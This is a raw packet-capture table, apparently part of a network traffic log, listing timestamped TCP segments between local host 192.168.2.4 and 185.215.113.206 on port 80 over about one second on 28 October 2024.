Oct 28, 2024 08:17:15.456410885 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.456517935 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.456562042 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.456562996 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.456603050 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.456686974 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.456722021 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.456732988 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.456758976 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.456765890 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.456792116 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.456801891 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.456830978 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.456835032 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.456876040 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.457559109 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.457592964 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.457602024 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.457628012 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.457637072 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.457673073 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.457673073 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.457720995 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.457720995 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.457766056 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.457772970 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.457809925 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.458287954 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.458323002 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.458333969 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.458358049 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.458367109 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.458400965 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.524591923 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.524627924 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.524733067 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.570893049 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.570943117 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.570950985 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.570985079 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.571000099 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.571016073 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.571041107 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.571043968 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.571050882 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.571064949 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.571089029 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.571091890 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.571105003 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.571118116 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.571139097 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.571147919 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.571147919 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.571154118 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.571170092 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.571177959 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.571192026 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.571208000 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.571702957 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.571746111 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.571763039 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.571789026 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.571793079 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.571810007 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.571825981 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.571846962 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.571966887 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.572002888 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.572009087 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.572020054 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.572042942 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.572071075 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.572238922 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.572254896 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.572272062 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.572284937 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.572304010 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.572310925 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.617270947 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.617297888 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.617315054 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.617326021 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.617352009 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.617369890 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.617393970 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.617410898 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.617432117 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.617440939 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.617449045 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.617466927 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.617480040 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.617515087 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.639827967 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.639842033 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.639884949 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.639899969 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.686109066 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.686146021 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.686172009 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.686187983 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.686197996 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.686203003 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.686225891 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.686239958 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.686255932 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.686261892 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.686275005 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.686286926 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.686292887 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.686297894 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.686307907 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.686335087 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.686362028 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.686362028 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.686842918 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.686885118 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.686939001 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.686955929 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.686979055 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.686996937 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.687022924 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.687073946 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.687089920 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.687105894 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.687130928 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.687140942 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.687144995 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.687159061 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.687175989 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.687182903 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.687211037 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.687223911 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.687706947 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.687724113 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.687738895 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.687748909 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.687774897 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.687783957 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.732531071 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.732547998 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.732577085 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.732592106 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.732599020 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.732600927 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.732629061 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.732629061 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.732667923 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.732767105 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.732783079 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.732799053 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.732811928 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.732826948 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.735205889 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.755033970 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.755078077 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.755095005 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.755096912 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.755127907 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.755141020 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.801286936 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.801306009 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.801321030 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.801394939 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.801423073 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.801445007 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.801489115 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.801522017 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.801561117 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.801573038 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.801589012 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.801595926 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.801611900 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.801635027 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.801635981 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.801695108 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.801695108 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.802047014 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.802074909 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.802093029 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.802094936 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.802123070 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.802140951 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.802222967 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.802249908 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.802269936 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.802287102 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.802303076 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.802318096 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.802331924 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.802351952 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.802351952 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.802382946 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.802810907 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.802855968 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.802875042 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.802900076 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.802922964 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.802931070 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.802932024 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.802954912 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.802969933 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.802988052 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.847724915 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.847779989 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.847800016 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.847822905 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.847836971 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.847845078 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.847861052 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.847886086 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.847908974 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.847950935 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.847959042 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.847975969 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.848004103 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.848006010 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.848022938 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.848032951 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.848046064 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.848074913 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.870353937 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.870434046 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.870573997 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.870616913 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.916539907 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.916563988 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.916579962 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.916677952 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.916688919 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.916692972 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.916709900 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.916714907 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.916714907 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.916749001 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.916749954 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.916759968 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.916766882 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.916783094 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.916798115 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.916805029 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.916821003 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.916822910 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.916846991 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.916871071 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.917407036 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.917431116 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.917445898 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.917452097 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.917463064 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.917488098 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.917659998 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.917690992 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.917704105 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.917706013 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.917731047 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.917732000 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.917742014 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.917747021 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.917772055 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.917782068 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.918132067 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.918167114 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.918171883 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.918184042 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.918201923 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.918206930 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.918217897 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.918225050 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.918237925 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.918248892 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.940354109 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.940419912 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.940421104 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.940459967 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.963150978 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.963165998 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.963181973 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.963234901 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.963238955 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.963252068 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.963268042 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.963283062 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.963288069 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.963296890 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.963299990 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:15.963325977 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:15.963351965 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.026897907 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.026913881 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.026930094 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.027010918 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.027040958 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.032066107 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.032079935 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.032100916 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.032114983 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.032124996 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.032133102 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.032146931 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.032176018 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.032176018 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.032193899 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.032217979 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.032224894 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.032242060 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.032249928 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.032263041 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.032269955 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.032285929 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.032290936 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.032299995 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.032303095 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.032315969 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.032331944 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.032341003 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.032357931 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.033013105 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.033026934 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.033070087 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.033070087 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.033093929 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.033108950 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.033108950 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.033133030 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.033143044 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.033430099 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.033444881 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.033459902 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.033473969 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.033490896 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.033514977 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.033598900 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.033613920 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.033631086 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.033651114 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.033653975 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.033669949 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.033669949 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.033695936 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.033710003 CET	49734	80	192.168.2.4	185.215.113.206
